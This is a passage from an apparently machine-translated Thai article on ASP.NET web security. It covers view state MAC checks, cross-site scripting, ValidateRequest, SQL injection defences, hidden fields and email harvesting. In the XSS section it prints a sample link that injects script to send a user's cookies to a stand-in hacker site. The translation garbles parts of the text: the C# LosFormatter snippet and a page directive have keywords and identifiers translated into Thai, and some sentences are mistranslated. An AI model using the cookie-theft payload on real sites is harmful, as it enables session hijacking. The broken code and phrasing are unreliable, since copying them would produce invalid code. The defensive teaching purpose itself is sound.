ตามค่าเริ่มต้น รายการจะถูกสร้างขึ้นโดยอัตโนมัติและจัดเก็บไว้ใน Windows Local Security Authority (LSA) เฉพาะในกรณีของเว็บฟาร์ม ซึ่งคีย์เครื่องสำหรับสถานะมุมมองต้องเหมือนกันบนเครื่องทั้งหมด คุณควรระบุเป็นข้อความธรรมดาในไฟล์ machine.config
ดูสถานะ การตรวจสอบ MAC ถูกควบคุมผ่านแอตทริบิวต์คำสั่ง @Page ที่เรียกว่า EnableViewStateMac ตามที่กล่าวไว้ก่อนหน้านี้ โดยค่าเริ่มต้น จะถูกตั้งค่าเป็นจริง โปรดอย่าปิดการใช้งานนี้ การทำเช่นนี้จะทำให้การโจมตีในสถานะการดูเป็นไปได้ด้วยคลิกเดียวและมีความเป็นไปได้สูงที่จะสำเร็จ
Cross-site scripting (XSS) เป็นเพื่อนเก่าของนักพัฒนาเว็บที่มีประสบการณ์หลายคน ซึ่งก่อตั้งมาตั้งแต่ปี 1999 พูดง่ายๆ ก็คือ XSS ใช้ประโยชน์จากช่องโหว่ในโค้ดเพื่อแนะนำโค้ดปฏิบัติการของแฮ็กเกอร์ในเซสชันเบราว์เซอร์ของผู้ใช้รายอื่น หากดำเนินการ โค้ดที่แทรกเข้าไปสามารถดำเนินการต่างๆ ได้หลายอย่าง เช่น รับคุกกี้และอัปโหลดสำเนาไปยังเว็บไซต์ที่แฮ็กเกอร์ควบคุม ตรวจสอบเซสชันเว็บของผู้ใช้และส่งต่อข้อมูล แก้ไขพฤติกรรมและรูปลักษณ์ของเพจที่ถูกแฮ็กเพื่อให้ ให้ข้อมูลอันเป็นเท็จ หรือแม้แต่ทำให้ตัวเองยืนกราน เพื่อว่าครั้งถัดไปที่ผู้ใช้กลับมาที่เพจ โค้ดหลอกลวงจะทำงานอีกครั้ง โปรดอ่านเพิ่มเติมเกี่ยวกับพื้นฐานของการโจมตี XSS ในบทความของ TechNet ภาพ รวมการเขียนสคริปต์ข้ามไซต์
ช่องโหว่ในโค้ดใดบ้างที่ทำให้การโจมตี XSS เกิดขึ้นได้
XSS หาประโยชน์จากเว็บแอปพลิเคชันที่สร้างเพจ HTML แบบไดนามิก แต่ไม่ได้ตรวจสอบอินพุตที่ส่งคืนไปยังเพจ อินพุต ที่นี่หมายถึงสตริงการสืบค้น คุกกี้ และเนื้อหาของฟิลด์แบบฟอร์ม หากเนื้อหานี้ปรากฏบนเว็บโดยไม่มีการตรวจสอบประสิทธิภาพที่เหมาะสม ก็มีความเสี่ยงที่แฮกเกอร์จะสามารถจัดการให้เรียกใช้สคริปต์ที่เป็นอันตรายในเบราว์เซอร์ไคลเอนต์ได้ (การโจมตีด้วยคลิกเดียวที่กล่าวถึงก่อนหน้านี้จริงๆ แล้วเป็นรูปแบบล่าสุดของ XSS) การโจมตี XSS ทั่วไปจะทำให้ผู้ใช้ที่ไม่สงสัยคลิกลิงก์ที่ดึงดูดซึ่งมีรหัสสคริปต์ Escape ที่ฝังอยู่ในลิงก์ รหัสหลอกลวงจะถูกส่งไปยังเพจที่มีช่องโหว่ซึ่งจะแสดงผลออกมาโดยไม่มีข้อสงสัย นี่คือตัวอย่างสิ่งที่อาจเกิดขึ้น:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? คุกกี้=' + document.cookie); </script>">คลิกเพื่อรับรางวัลของคุณ</a>
ผู้ใช้คลิกลิงก์ที่ดูเหมือนจะปลอดภัย ซึ่งท้ายที่สุดแล้วส่งผลให้โค้ดสคริปต์บางส่วนถูกส่งไปยังเพจที่มีช่องโหว่ ซึ่งในขั้นแรกจะได้รับคุกกี้ทั้งหมดบนคอมพิวเตอร์ของผู้ใช้ จากนั้นจึงส่งไปยังเว็บไซต์ของแฮ็กเกอร์
สิ่งสำคัญคือต้องทราบว่า XSS ไม่ใช่ปัญหาเฉพาะของผู้จำหน่าย ดังนั้นจึงไม่จำเป็นต้องใช้ช่องโหว่ใน Internet Explorer มีผลกับเว็บเซิร์ฟเวอร์และเบราว์เซอร์ทั้งหมดที่มีอยู่ในตลาดปัจจุบัน ควรสังเกตว่าไม่มีแพตช์เดียวที่สามารถแก้ไขปัญหานี้ได้ คุณสามารถปกป้องเพจของคุณจากการโจมตี XSS ได้โดยใช้มาตรการเฉพาะและแนวทางปฏิบัติในการเขียนโค้ดเสียง นอกจากนี้ โปรดทราบว่าผู้โจมตีไม่จำเป็นต้องให้ผู้ใช้คลิกลิงก์เพื่อเริ่มการโจมตี
เพื่อป้องกัน XSS คุณต้องพิจารณาว่าอินพุตใดถูกต้อง จากนั้นจึงปฏิเสธอินพุตอื่นๆ ทั้งหมด คุณสามารถอ่านรายการตรวจสอบโดยละเอียดเพื่อป้องกันการโจมตี XSS ได้ในหนังสือที่ Microsoft - Writing Secure Code โดย Michael Howard และ David LeBlanc ต้องอ่าน โดยเฉพาะอย่างยิ่งฉันขอแนะนำให้คุณอ่านบทที่ 13 อย่างละเอียด
วิธีหลักในการป้องกันการโจมตี XSS ที่ร้ายกาจคือการเพิ่มเลเยอร์การตรวจสอบที่ออกแบบมาอย่างดีและมีประสิทธิภาพให้กับอินพุตของคุณ (ข้อมูลอินพุตประเภทใดก็ได้) ตัวอย่างเช่น มีหลายกรณีที่ แม้แต่สีที่ไม่เป็นอันตราย (RGB ไตรรงค์) ก็สามารถนำสคริปต์ที่ไม่มีการควบคุมมาสู่หน้าเว็บได้โดยตรง
ใน ASP.NET 1.1 เมื่อเปิดใช้งานแอตทริบิวต์ ValidateRequest บนคำสั่ง @Page จะมีการตรวจสอบเพื่อให้แน่ใจว่าผู้ใช้ไม่ได้ส่งแท็ก HTML ที่อาจเป็นอันตรายในสตริงการสอบถาม คุกกี้ หรือเขตข้อมูลแบบฟอร์ม หากตรวจพบสิ่งนี้ ข้อยกเว้นจะถูกส่งออกไป และคำขอจะถูกยกเลิก คุณสมบัตินี้เปิดอยู่ตามค่าเริ่มต้น คุณไม่จำเป็นต้องดำเนินการใดๆ เพื่อปกป้อง หากคุณต้องการอนุญาตให้แท็ก HTML ผ่าน คุณต้องปิดใช้งานแอตทริบิวต์นี้อย่างจริงจัง
<%@ หน้า ValidateRequest="false" %>
ValidateRequest ไม่ใช่ ยาครอบจักรวาลและไม่สามารถแทนที่เลเยอร์การตรวจสอบที่มีประสิทธิภาพได้ โปรดอ่าน ที่นี่ เพื่อดูข้อมูลอันมีค่ามากมายเกี่ยวกับพื้นฐานของคุณสมบัตินี้ โดยพื้นฐานแล้วมันใช้งานได้โดยใช้นิพจน์ทั่วไปเพื่อตรวจจับลำดับที่อาจเป็นอันตราย
หมายเหตุ: เดิมฟังก์ชัน ValidateRequest นั้นมี ข้อบกพร่อง ดังนั้นคุณจึงจำเป็นต้องใช้ โปรแกรมแก้ไข เพื่อให้ทำงานตามที่คาดไว้ ข้อมูลสำคัญดังกล่าวมักจะไม่มีใครสังเกตเห็น น่าแปลกที่ฉันค้นพบว่าคอมพิวเตอร์เครื่องหนึ่งของฉันยังคงได้รับผลกระทบจากข้อบกพร่องดังกล่าว ลองดูสิ!
ไม่มีเหตุผลที่จะปิด ValidateRequest คุณสามารถปิดการใช้งานได้ แต่ด้วยเหตุผลที่ดีเท่านั้น เหตุผลหนึ่งอาจเป็นเพราะผู้ใช้จำเป็นต้องโพสต์ HTML บางส่วนลงในไซต์เพื่อรับตัวเลือกการจัดรูปแบบที่ดีขึ้น ในกรณีนี้ คุณควรจำกัดจำนวนแท็ก HTML ที่อนุญาต ( <pre> , <b> , <i> , <p> , <br> , <hr> ) และเขียนนิพจน์ทั่วไปเพื่อให้แน่ใจว่าจะไม่อนุญาตให้มีสิ่งอื่นใดอีก หรือได้รับการยอมรับ
ต่อไปนี้เป็นเคล็ดลับเพิ่มเติมที่จะช่วยปกป้อง ASP.NET จากการโจมตี XSS:
• | ใช้ HttpUtility.HtmlEncode เพื่อแปลงสัญลักษณ์ที่เป็นอันตรายให้เป็นตัวแทน HTML |
• | ใช้เครื่องหมายคำพูดคู่แทนเครื่องหมายคำพูดเดี่ยว เนื่องจากการเข้ารหัส HTML จะยกเว้นเครื่องหมายคำพูดคู่เท่านั้น |
• | บังคับให้โค้ดเพจจำกัดจำนวนอักขระที่สามารถใช้ได้ |
กล่าวโดยสรุป ให้ใช้แต่อย่าเชื่อถือคุณสมบัติ ValidateRequest อย่างสมบูรณ์ และอย่าขี้เกียจเกินไป ใช้เวลาทำความเข้าใจภัยคุกคามด้านความปลอดภัยขั้นพื้นฐาน เช่น XSS และวางแผนกลยุทธ์การป้องกันที่มีศูนย์กลางอยู่ที่จุดสำคัญเพียงจุดเดียว นั่นคือ ข้อมูลทั้งหมดที่ผู้ใช้ป้อนเป็นอันตราย
เป็นอีกประเภทการโจมตีที่รู้จักกันดีซึ่งหาประโยชน์จากแอปพลิเคชันที่ใช้อินพุตของผู้ใช้ที่ไม่เหมาะสมเพื่อสร้างคำสั่งฐานข้อมูล หากแอปพลิเคชันใช้สิ่งที่ผู้ใช้พิมพ์ลงในฟิลด์แบบฟอร์มอย่างยินดีเพื่อสร้างสตริงคำสั่ง SQL จะทำให้คุณมีความเสี่ยงที่ผู้ใช้ที่เป็นอันตรายสามารถแก้ไขลักษณะของแบบสอบถามได้ง่ายๆ เพียงไปที่เพจและป้อนพารามิเตอร์ที่ฉ้อโกง คุณสามารถเรียนรู้เพิ่มเติมเกี่ยวกับการแทรก SQL ที่นี่
มีหลายวิธีในการป้องกันการโจมตีแบบฉีด SQL เทคนิคที่พบบ่อยที่สุดมีการอธิบายไว้ด้านล่างนี้
• | ตรวจสอบให้แน่ใจว่าอินพุตของผู้ใช้เป็นประเภทที่เหมาะสมและเป็นไปตามรูปแบบที่ต้องการ (รหัสไปรษณีย์ หมายเลขประจำตัว อีเมล ฯลฯ) หากคาดว่าจะเป็นตัวเลขจากกล่องข้อความ ให้บล็อกคำขอเมื่อผู้ใช้ป้อนสิ่งที่ไม่สามารถแปลงเป็นตัวเลขได้ |
• | ใช้คำสั่งแบบกำหนดพารามิเตอร์ โดยเฉพาะขั้นตอนการจัดเก็บ |
• | ใช้สิทธิ์ของ SQL Server เพื่อจำกัดสิ่งที่ผู้ใช้แต่ละรายสามารถทำได้บนฐานข้อมูล ตัวอย่างเช่น คุณอาจต้องปิดการใช้งาน xp_cmdshell หรือจำกัดการดำเนินการไว้เฉพาะผู้ดูแลระบบเท่านั้น |
หากคุณใช้ขั้นตอนการจัดเก็บ คุณสามารถลดความเป็นไปได้ของการโจมตีนี้ได้อย่างมาก ในความเป็นจริง ด้วยขั้นตอนการจัดเก็บ คุณไม่จำเป็นต้องเขียนสตริง SQL แบบไดนามิก นอกจากนี้ SQL Server จะตรวจสอบว่าพารามิเตอร์ทั้งหมดมีประเภทที่ระบุ แม้ว่าเทคนิคเหล่านี้เพียงอย่างเดียวจะไม่ปลอดภัย 100% แต่เมื่อรวมกับการตรวจสอบแล้ว เทคนิคเหล่านี้ก็เพียงพอที่จะปรับปรุงความปลอดภัยได้
ที่สำคัญกว่านั้น คุณควรตรวจสอบให้แน่ใจว่ามีเพียงผู้ใช้ที่ได้รับอนุญาตเท่านั้นที่สามารถดำเนินการที่อาจมีผลกระทบร้ายแรง เช่น การลบตาราง จำเป็นต้องมีการออกแบบระดับกลางของแอปพลิเคชันอย่างระมัดระวัง เทคนิคที่ดี (ไม่ใช่แค่เพื่อความปลอดภัย) คือการให้ความสำคัญกับตัวละคร ผู้ใช้ควรถูกจัดกลุ่มตามบทบาทและบัญชีที่กำหนดด้วยชุดสิทธิ์ขั้นต่ำสำหรับแต่ละบทบาท
เมื่อไม่กี่สัปดาห์ก่อน เว็บไซต์ Wintellect ถูกโจมตีด้วยการแทรก SQL ที่ซับซ้อนมาก แฮกเกอร์พยายามสร้างและเปิดใช้สคริปต์ FTP เพื่อดาวน์โหลดโปรแกรมปฏิบัติการที่อาจเป็นอันตราย โชคดีที่การโจมตีล้มเหลว หรือแท้จริงแล้วเป็นการรับรองความถูกต้องของผู้ใช้ที่แข็งแกร่ง การใช้ขั้นตอนการจัดเก็บ และการใช้สิทธิ์ SQL Server ที่ทำให้การโจมตีล้มเหลว
โดยสรุป คุณควรปฏิบัติตามหลักเกณฑ์เหล่านี้เพื่อหลีกเลี่ยงการถูกแทรกโค้ด SQL ที่เป็นอันตราย:
• | รันโดยมีสิทธิ์พิเศษน้อยที่สุดเท่าที่จะเป็นไปได้ และอย่ารันโค้ดด้วยชื่อ "sa" |
• | จำกัดการเข้าถึงขั้นตอนการจัดเก็บในตัว |
• | ต้องการใช้คำสั่ง SQL แบบกำหนดพารามิเตอร์ |
• | ไม่สร้างคำสั่งผ่านการต่อสตริง และไม่สะท้อนข้อผิดพลาดของฐานข้อมูล |
ใน ASP แบบดั้งเดิม ฟิลด์ที่ซ่อนเป็นวิธีเดียวที่จะคงข้อมูลระหว่างคำขอ ข้อมูลใดๆ ที่คุณต้องการเรียกค้นในคำขอถัดไปจะถูกบรรจุลงในฟิลด์ <input> ที่ซ่อนอยู่ และดำเนินการส่งคืน จะเกิดอะไรขึ้นหากมีคนแก้ไขค่าที่เก็บไว้ในฟิลด์นี้บนไคลเอนต์ ตราบใดที่ข้อความมีความชัดเจน สภาพแวดล้อมฝั่งเซิร์ฟเวอร์ก็ตรวจไม่พบสิ่งนี้ ใน ASP.NET คุณสมบัติ ViewState ของเพจและแต่ละตัวควบคุมมีวัตถุประสงค์สองประการ ในอีกด้านหนึ่ง ViewState เป็นวิธีหนึ่งในการคงสถานะข้ามคำขอ ในทางกลับกัน ViewState ช่วยให้คุณสามารถจัดเก็บค่าที่กำหนดเองในฟิลด์ที่ซ่อนอยู่ซึ่งได้รับการปกป้องและไม่สามารถแก้ไขได้อย่างง่ายดาย
ดังแสดงในรูปที่ 2 สถานะมุมมองจะถูกต่อท้ายด้วยค่าแฮช และสำหรับแต่ละคำขอ ค่านี้จะถูกตรวจสอบเพื่อตรวจสอบว่ามีการปลอมแปลงเกิดขึ้นหรือไม่ ไม่มีเหตุผลที่จะใช้ฟิลด์ที่ซ่อนอยู่ใน ASP.NET ยกเว้นในบางกรณี ดูสถานะบรรลุฟังก์ชันการทำงานเดียวกันในวิธีที่ปลอดภัยกว่ามาก ตามที่กล่าวไว้ในทันที การจัดเก็บค่าที่ละเอียดอ่อน (เช่น ราคาหรือรายละเอียดบัตรเครดิต) ในช่องที่ซ่อนอยู่ในการเปิดประตูสู่แฮกเกอร์ สถานะการดูยังทำให้แนวทางปฏิบัติที่ไม่ดีนี้ปลอดภัยมากขึ้นกว่าเดิม เนื่องจากสถานะการดูมี กลไกการปกป้องข้อมูล อย่างไรก็ตาม โปรดทราบว่าสถานะการดูนั้นป้องกันการงัดแงะ แต่ไม่รับประกันการรักษาความลับเว้นแต่ว่ามีการใช้การเข้ารหัส รายละเอียดบัตรเครดิตที่จัดเก็บไว้ในสถานะการดูก็ยังมีความเสี่ยงอยู่ดี
ใน ASP.NET เมื่อใดที่สามารถใช้ฟิลด์ที่ซ่อนอยู่ได้ เมื่อคุณสร้างตัวควบคุมแบบกำหนดเองที่ต้องการส่งข้อมูลกลับไปยังเซิร์ฟเวอร์ ตัวอย่างเช่น สมมติว่าคุณต้องการสร้างตัวควบคุม DataGrid ใหม่ที่รองรับการเรียงลำดับคอลัมน์ใหม่ คุณต้องส่งคำสั่งซื้อใหม่กลับไปยังเซิร์ฟเวอร์ในรูปแบบ postback หากไม่จัดเก็บข้อมูลนี้ในช่องที่ซ่อนอยู่จะเก็บไว้ที่ไหน?
หากฟิลด์ที่ซ่อนอยู่เป็นฟิลด์อ่าน/เขียน กล่าวคือ ไคลเอนต์ถูกคาดหวังให้เขียนลงไป ไม่มีทางที่จะป้องกันการโจมตีของแฮ็กเกอร์ได้อย่างสมบูรณ์ คุณสามารถลองแฮชหรือเข้ารหัสข้อความได้ แต่นั่นไม่ได้ทำให้คุณมั่นใจว่าข้อความนั้นจะไม่ถูกแฮ็ก ณ จุดนี้ การป้องกันที่ดีที่สุดคือการให้ฟิลด์ที่ซ่อนอยู่มีข้อมูลที่เฉื่อยและไม่เป็นอันตราย
นอกจากนี้ ควรสังเกตว่า ASP.NET เปิดเผยคลาสที่รู้จักกันน้อยซึ่งสามารถใช้ในการเข้ารหัสและแฮชอ็อบเจ็กต์ซีเรียลไลซ์ใด ๆ คลาสนี้คือ LosFormatter ซึ่งเป็นคลาสเดียวกับที่ ViewState ใช้สำหรับสร้างการเรียกกลับไปยังไคลเอนต์สำหรับการเข้ารหัสข้อความ
สตริงส่วนตัว EncodeText (ข้อความสตริง) { ผู้เขียน StringWriter = StringWriter ใหม่ (); ตัวจัดรูปแบบ LosFormatter = ใหม่ LosFormatter(); formatter.Serialize (ผู้เขียน ข้อความ); กลับผู้เขียน ToString(); -
ข้อมูลโค้ดก่อนหน้านี้สาธิตวิธีใช้ LosFormatter เพื่อสร้างสถานะต่างๆ เช่น สถานะการดู เข้ารหัส และแฮช
ในตอนท้ายของบทความนี้ ฉันขอชี้ให้เห็นว่าการโจมตีที่พบบ่อยที่สุดอย่างน้อยสองครั้ง (XSS แบบคลาสสิกและคลิกเดียว) มักกระทำโดยการล่อลวงเหยื่อที่ไม่สงสัยให้คลิกที่ลิงก์ที่ล่อลวงและหลอกลวง หลายครั้งที่เราพบลิงก์ดังกล่าวในกล่องจดหมายของเรา แม้ว่าจะมีตัวกรองป้องกันสแปมก็ตาม คุณสามารถซื้อที่อยู่อีเมลจำนวนมากได้ในราคาไม่กี่ดอลลาร์ หนึ่งในเทคนิคหลักที่ใช้ในการสร้างรายการดังกล่าวคือการสแกนหน้าสาธารณะบนเว็บไซต์เพื่อค้นหาและเรียกค้นสิ่งที่ดูเหมือนข้อความอีเมล
หากมีการแสดงที่อยู่อีเมลบนเพจ อาจเป็นไปได้ว่าไม่ช้าก็เร็วโปรแกรมเว็บอัตโนมัติจะบันทึกที่อยู่นั้นไว้ จริงหรือ แน่นอนว่าขึ้นอยู่กับวิธีการแสดงอีเมลด้วย หากคุณฮาร์ดโค้ดคุณจะสูญเสีย ยังไม่ชัดเจนว่าการใช้การเป็นตัวแทนอื่น ๆ (เช่น Dino-at-microsoft-dot-com ) จะหลอกโปรแกรมเว็บอัตโนมัติ แต่มันจะทำให้ทุกคนที่อ่านหน้าของคุณต้องการทำให้การเชื่อมต่อที่ถูกต้องตามกฎหมายโกรธ
โดยทั่วไปคุณควรกำหนดวิธีสร้างอีเมลแบบไดนามิกเป็นลิงค์ MailTo องค์ประกอบฟรีที่เขียนโดย Marco Bellinaso ทำเช่นนั้น คุณสามารถรับซอร์สโค้ดแบบเต็มสำหรับส่วนประกอบนี้ได้จากเว็บไซต์ Dotnet2TheMax
ไม่มีใครสงสัยว่าเว็บอาจเป็นศัตรูมากที่สุดของสภาพแวดล้อมรันไทม์ทั้งหมดหรือไม่? สาเหตุที่แท้จริงคือทุกคนสามารถเข้าถึงเว็บไซต์และพยายามส่งผ่านข้อมูลที่ดีหรือไม่ดีไป แต่อะไรคือจุดเริ่มต้นของการสร้างเว็บแอปพลิเคชันที่ไม่ยอมรับการป้อนข้อมูลของผู้ใช้?
มาดูกันเถอะ: ไม่ว่าไฟร์วอลล์ของคุณจะทรงพลังแค่ไหนไม่ว่าคุณจะใช้แพตช์ที่มีอยู่บ่อยแค่ไหนตราบใดที่คุณใช้งานเว็บแอปพลิเคชันที่มีข้อบกพร่องโดยธรรมชาติไม่ช้าก็เร็วผู้โจมตีจะสามารถเข้าถึงช่องหลักได้โดยตรง ซึ่งก็คือพอร์ต 80 เข้าสู่หัวใจของระบบของคุณ
แอปพลิเคชั่น ASP.NET ไม่เสี่ยงหรือปลอดภัยกว่าเว็บแอปพลิเคชันอื่น ๆ ความปลอดภัยและช่องโหว่นั้นมีรากฐานมาจากการเขียนโค้ดอย่างเท่าเทียมกันประสบการณ์ในโลกแห่งความเป็นจริงและการทำงานเป็นทีม หากเครือข่ายไม่ปลอดภัยแล้วแอปพลิเคชันจะไม่มีความปลอดภัยในทำนองเดียวกัน
ประโยชน์ของ ASP.NET คือมันมีเครื่องมือที่ดีบางอย่างที่มีงานเล็กน้อยสามารถยกระดับมาตรฐานความปลอดภัยให้อยู่ในระดับที่ยอมรับได้ แน่นอนว่านี่ ไม่ใช่ ระดับที่สูงพอ คุณไม่ควรพึ่งพาโซลูชั่นในตัวของ ASP.NET อย่างหมดจดและไม่ควรเพิกเฉยต่อพวกเขา เรียนรู้มากที่สุดเกี่ยวกับการโจมตีทั่วไป
บทความนี้มีรายการคุณสมบัติในตัวรวมถึงพื้นหลังบางอย่างเกี่ยวกับการโจมตีและการป้องกัน เทคนิคที่ใช้ในการตรวจจับการโจมตีขาออกเป็นอีกเรื่องหนึ่งและอาจสมควรได้รับบทความของตนเอง